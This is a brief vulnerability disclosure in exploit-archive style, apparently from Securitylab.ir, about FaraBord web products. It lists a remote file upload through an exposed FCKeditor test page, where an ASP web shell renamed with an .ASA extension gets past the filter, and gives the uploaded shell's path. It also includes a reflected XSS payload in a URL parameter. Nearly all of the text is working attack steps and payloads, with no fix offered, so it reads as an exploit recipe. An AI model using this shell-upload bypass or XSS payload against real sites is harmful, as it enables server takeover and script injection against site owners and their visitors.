#### # Securitylab.ir #### # Application Info: # Name: FaraBord Product's # Vendor: http://farabord.com #### # Vulnerability Info: # Type: Remote Arbitrary File Upload,XSS # Risk: High #### [Remote File Upload]: http://site.ir/fckeditor/editor/filemanager/upload/test.html Shell.asp > renamed shell > Shell.ASA Uploaded Here: http://site.ir//files/filebox/Shell.asa [XSS]: http://site.ir/VisitorPages/show.aspx?IsDetailList=true&ItemID=%3Cscript%3E%28/xss/%29%3C/script%3E #### # Vulnerable Products: All Products #### # Discoverd By: Securitylab.ir # Website: http://securitylab.ir # Contacts: info[AT]Securitylab[Dot]ir,whh_iran[AT]yahoo[Dot]com ######